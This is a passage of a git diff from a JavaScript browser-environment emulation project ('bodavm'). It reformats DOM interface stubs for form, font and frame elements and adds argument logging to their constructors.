bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "size_get", arguments); + }, + set: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFontElement'].prototype, "HTMLFontElement", "size_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLFormControlsCollection.js b/env_xbb_lastest_jsdom/env/HTMLFormControlsCollection.js index 48de28fe..fd5a9389 100644 --- a/env_xbb_lastest_jsdom/env/HTMLFormControlsCollection.js +++ b/env_xbb_lastest_jsdom/env/HTMLFormControlsCollection.js @@ -1,6 +1,27 @@ -// HTMLFormControlsCollection对象 -bodavm.memory.globalobj['HTMLFormControlsCollection'] = function HTMLFormControlsCollection(){if (!(this instanceof HTMLFormControlsCollection)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFormControlsCollection'], "HTMLFormControlsCollection"); -bodavm.memory.globalobj['HTMLFormControlsCollection'].prototype.__proto__=bodavm.memory.globalobj['HTMLCollection'].prototype; -bodavm.memory.globalobj['HTMLFormControlsCollection'].__proto__=bodavm.memory.globalobj['HTMLCollection']; -bodavm.toolsFunc.defineProperty('HTMLFormControlsCollection', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormControlsCollection'].prototype, "HTMLFormControlsCollection", "namedItem", arguments)}},'prototype'); +// HTMLFormControlsCollection对象 + +bodavm.memory.globalobj['HTMLFormControlsCollection'] = function HTMLFormControlsCollection() { + console.log_copy('HTMLFormControlsCollection 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLFormControlsCollection)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFormControlsCollection'], "HTMLFormControlsCollection"); +bodavm.memory.globalobj['HTMLFormControlsCollection'].prototype.__proto__ = bodavm.memory.globalobj['HTMLCollection'].prototype; +bodavm.memory.globalobj['HTMLFormControlsCollection'].__proto__ = bodavm.memory.globalobj['HTMLCollection']; +bodavm.toolsFunc.defineProperty('HTMLFormControlsCollection', "namedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function namedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormControlsCollection'].prototype, "HTMLFormControlsCollection", "namedItem", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLFormElement.js b/env_xbb_lastest_jsdom/env/HTMLFormElement.js index 73c7206e..ce1b7bd7 100644 --- a/env_xbb_lastest_jsdom/env/HTMLFormElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLFormElement.js @@ -1,23 +1,185 @@ -// HTMLFormElement对象 -bodavm.memory.globalobj['HTMLFormElement'] = function HTMLFormElement(){if (!(this instanceof HTMLFormElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFormElement'], "HTMLFormElement"); -bodavm.memory.globalobj['HTMLFormElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLFormElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLFormElement', "acceptCharset", {configurable:true, enumerable:true, get:function acceptCharset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "acceptCharset_get", arguments)}, set:function acceptCharset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "acceptCharset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "action", {configurable:true, enumerable:true, get:function action (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "action_get", arguments)}, set:function action (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "action_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "autocomplete", {configurable:true, enumerable:true, get:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "autocomplete_get", arguments)}, set:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "autocomplete_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "enctype", {configurable:true, enumerable:true, get:function enctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "enctype_get", arguments)}, set:function enctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "enctype_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "encoding", {configurable:true, enumerable:true, get:function encoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "encoding_get", arguments)}, set:function encoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "encoding_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "method", {configurable:true, enumerable:true, get:function method (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "method_get", arguments)}, set:function method (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "method_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "noValidate", {configurable:true, enumerable:true, get:function noValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "noValidate_get", arguments)}, set:function noValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "noValidate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "target_get", arguments)}, set:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "target_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "elements", {configurable:true, enumerable:true, get:function elements (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "elements_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "requestSubmit", {configurable:true, enumerable:true, writable:true, value:function requestSubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "requestSubmit", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "submit", {configurable:true, enumerable:true, writable:true, value:function submit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "submit", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "rel", {configurable:true, enumerable:true, get:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "rel_get", arguments)}, set:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "rel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFormElement', "relList", {configurable:true, enumerable:true, get:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "relList_get", arguments)}, set:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "relList_set", arguments)}},'prototype'); +// HTMLFormElement对象 + +bodavm.memory.globalobj['HTMLFormElement'] = function HTMLFormElement() { + console.log_copy('HTMLFormElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLFormElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFormElement'], "HTMLFormElement"); +bodavm.memory.globalobj['HTMLFormElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLFormElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLFormElement', "acceptCharset", { + configurable: true, + enumerable: true, + get: function acceptCharset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "acceptCharset_get", arguments); + }, + set: function acceptCharset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "acceptCharset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "action", { + configurable: true, + enumerable: true, + get: function action() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "action_get", arguments); + }, + set: function action() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "action_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "autocomplete", { + configurable: true, + enumerable: true, + get: function autocomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "autocomplete_get", arguments); + }, + set: function autocomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "autocomplete_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "enctype", { + configurable: true, + enumerable: true, + get: function enctype() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "enctype_get", arguments); + }, + set: function enctype() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "enctype_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "encoding", { + configurable: true, + enumerable: true, + get: function encoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "encoding_get", arguments); + }, + set: function encoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "encoding_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "method", { + configurable: true, + enumerable: true, + get: function method() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "method_get", arguments); + }, + set: function method() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "method_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "noValidate", { + configurable: true, + enumerable: true, + get: function noValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "noValidate_get", arguments); + }, + set: function noValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "noValidate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "target_get", arguments); + }, + set: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "target_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "elements", { + configurable: true, + enumerable: true, + get: function elements() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "elements_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "requestSubmit", { + configurable: true, + enumerable: true, + writable: true, + value: function requestSubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "requestSubmit", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "submit", { + configurable: true, + enumerable: true, + writable: true, + value: function submit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "submit", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "rel", { + configurable: true, + enumerable: true, + get: function rel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "rel_get", arguments); + }, + set: function rel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "rel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFormElement', "relList", { + configurable: true, + enumerable: true, + get: function relList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "relList_get", arguments); + }, + set: function relList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFormElement'].prototype, "HTMLFormElement", "relList_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLFrameElement.js b/env_xbb_lastest_jsdom/env/HTMLFrameElement.js index 585c7ce2..9dc75a16 100644 --- a/env_xbb_lastest_jsdom/env/HTMLFrameElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLFrameElement.js @@ -1,15 +1,115 @@ -// HTMLFrameElement对象 -bodavm.memory.globalobj['HTMLFrameElement'] = function HTMLFrameElement(){if (!(this instanceof HTMLFrameElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFrameElement'], "HTMLFrameElement"); -bodavm.memory.globalobj['HTMLFrameElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLFrameElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "scrolling", {configurable:true, enumerable:true, get:function scrolling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "scrolling_get", arguments)}, set:function scrolling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "scrolling_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "frameBorder", {configurable:true, enumerable:true, get:function frameBorder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "frameBorder_get", arguments)}, set:function frameBorder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "frameBorder_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "longDesc", {configurable:true, enumerable:true, get:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "longDesc_get", arguments)}, set:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "longDesc_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "noResize", {configurable:true, enumerable:true, get:function noResize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "noResize_get", arguments)}, set:function noResize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "noResize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "contentDocument", {configurable:true, enumerable:true, get:function contentDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "contentDocument_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "contentWindow", {configurable:true, enumerable:true, get:function contentWindow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "contentWindow_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "marginHeight", {configurable:true, enumerable:true, get:function marginHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "marginHeight_get", arguments)}, set:function marginHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "marginHeight_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameElement', "marginWidth", {configurable:true, enumerable:true, get:function marginWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "marginWidth_get", arguments)}, set:function marginWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "marginWidth_set", arguments)}},'prototype'); +// HTMLFrameElement对象 + +bodavm.memory.globalobj['HTMLFrameElement'] = function HTMLFrameElement() { + console.log_copy('HTMLFrameElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLFrameElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFrameElement'], "HTMLFrameElement"); +bodavm.memory.globalobj['HTMLFrameElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLFrameElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "scrolling", { + configurable: true, + enumerable: true, + get: function scrolling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "scrolling_get", arguments); + }, + set: function scrolling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "scrolling_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "frameBorder", { + configurable: true, + enumerable: true, + get: function frameBorder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "frameBorder_get", arguments); + }, + set: function frameBorder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "frameBorder_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "longDesc", { + configurable: true, + enumerable: true, + get: function longDesc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "longDesc_get", arguments); + }, + set: function longDesc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "longDesc_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "noResize", { + configurable: true, + enumerable: true, + get: function noResize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "noResize_get", arguments); + }, + set: function noResize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "noResize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "contentDocument", { + configurable: true, + enumerable: true, + get: function contentDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "contentDocument_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "contentWindow", { + configurable: true, + enumerable: true, + get: function contentWindow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "contentWindow_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "marginHeight", { + configurable: true, + enumerable: true, + get: function marginHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "marginHeight_get", arguments); + }, + set: function marginHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "marginHeight_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameElement', "marginWidth", { + configurable: true, + enumerable: true, + get: function marginWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "marginWidth_get", arguments); + }, + set: function marginWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameElement'].prototype, "HTMLFrameElement", "marginWidth_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLFrameSetElement.js b/env_xbb_lastest_jsdom/env/HTMLFrameSetElement.js index baeaa39c..420b0eee 100644 --- a/env_xbb_lastest_jsdom/env/HTMLFrameSetElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLFrameSetElement.js @@ -1,29 +1,259 @@ -// HTMLFrameSetElement对象 -bodavm.memory.globalobj['HTMLFrameSetElement'] = function HTMLFrameSetElement(){if (!(this instanceof HTMLFrameSetElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFrameSetElement'], "HTMLFrameSetElement"); -bodavm.memory.globalobj['HTMLFrameSetElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLFrameSetElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "cols", {configurable:true, enumerable:true, get:function cols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "cols_get", arguments)}, set:function cols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "cols_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "rows", {configurable:true, enumerable:true, get:function rows (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "rows_get", arguments)}, set:function rows (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "rows_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onblur", {configurable:true, enumerable:true, get:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onblur_get", arguments)}, set:function onblur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onblur_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onerror", {configurable:true, enumerable:true, 